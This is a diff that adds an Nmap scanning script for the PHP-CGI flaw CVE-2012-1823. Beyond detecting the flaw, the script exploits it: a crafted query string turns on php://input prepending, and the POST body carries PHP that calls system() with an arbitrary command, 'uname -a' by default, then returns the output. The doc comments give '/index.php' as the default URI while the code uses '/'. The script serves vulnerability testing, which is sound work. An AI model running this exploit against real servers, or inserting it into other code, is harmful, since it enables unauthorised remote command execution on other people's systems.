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+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This
+critical vulnerability allows attackers to retrieve source code and execute
+code remotely.
+
+The script works by appending "?-s" to the uri to make vulnerable php-cgi
+handlers return colour syntax highlighted source. We use the pattern "<span
+style=.*>&lt;?" to detect
+vulnerable installations.
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-vuln-cve2012-1823 <target>
+-- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php <target>
+-- @output
+-- PORT   STATE SERVICE REASON
+-- 80/tcp open  http    syn-ack
+-- | http-vuln-cve2012-1823:
+-- |   VULNERABLE:
+-- |   PHP-CGI Remote code execution and source code disclosure
+-- |     State: VULNERABLE (Exploitable)
+-- |     IDs:  CVE:2012-1823
+-- |     Description:
+-- |       According to PHP's website, "PHP is a widely-used general-purpose
+-- |       scripting language that is especially suited for Web development and
+-- |       can be embedded into HTML." When PHP is used in a CGI-based setup
+-- |       (such as Apache's mod_cgid), the php-cgi receives a processed query
+-- |       string parameter as command line arguments which allows command-line
+-- |       switches, such as -s, -d or -c to be passed to the php-cgi binary,
+-- |       which can be exploited to disclose source code and obtain arbitrary
+-- |       code execution.
+-- |     Disclosure date: 2012-05-03
+-- |     Extra information:
+-- |       Proof of Concept:/index.php?-s
+-- |     References:
+-- |       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
+-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
+-- |_      http://ompldr.org/vZGxxaQ
+--
+-- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
+-- @args http-vuln-cve2012-1823.cmd CMD. Default: uname -a
+---
+
+author = {"Paulino Calderon <calderon@websec.mx>", "Paul AMAR <aos.paul@gmail.com>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname -a"
+
+  local vuln = {
+       title = 'PHP-CGI Remote code execution and source code disclosure',
+       state = vulns.STATE.NOT_VULN, -- default
+       IDS = {CVE = '2012-1823'},
+       description = [[
+According to PHP's website, "PHP is a widely-used general-purpose
+scripting language that is especially suited for Web development and
+can be embedded into HTML." When PHP is used in a CGI-based setup
+(such as Apache's mod_cgid), the php-cgi receives a processed query
+string parameter as command line arguments which allows command-line
+switches, such as -s, -d or -c to be passed to the php-cgi binary,
+which can be exploited to disclose source code and obtain arbitrary
+code execution.]],
+       references = {
+          'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/',
+           'http://ompldr.org/vZGxxaQ',
+       },
+       dates = {
+           disclosure = {year = '2012', month = '05', day = '03'},
+       },
+     }
+  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+  stdnse.debug2("Trying detection using echo command")
+  local detection_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('echo NmapCVEIdentification');die(); ?>")
+  if detection_session and detection_session.status == 200 then
+    if string.match(detection_session.body, "NmapCVEIdentification") then
+      stdnse.debug1("The website seems vulnerable to CVE-2012-1823.")
+    else
+      return
+    end
+  end
+
+  stdnse.debug2("Trying Command... " .. cmd)
+  local exploitation_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('"..cmd.."');die(); ?>")
+  if exploitation_session and exploitation_session.status == 200 then
+    stdnse.debug1("Ouput of the command " .. cmd .. " : \n"..exploitation_session.body)
+    vuln.state = vulns.STATE.EXPLOIT
+    return vuln_report:make_output(exploitation_session.body)
+  end
+end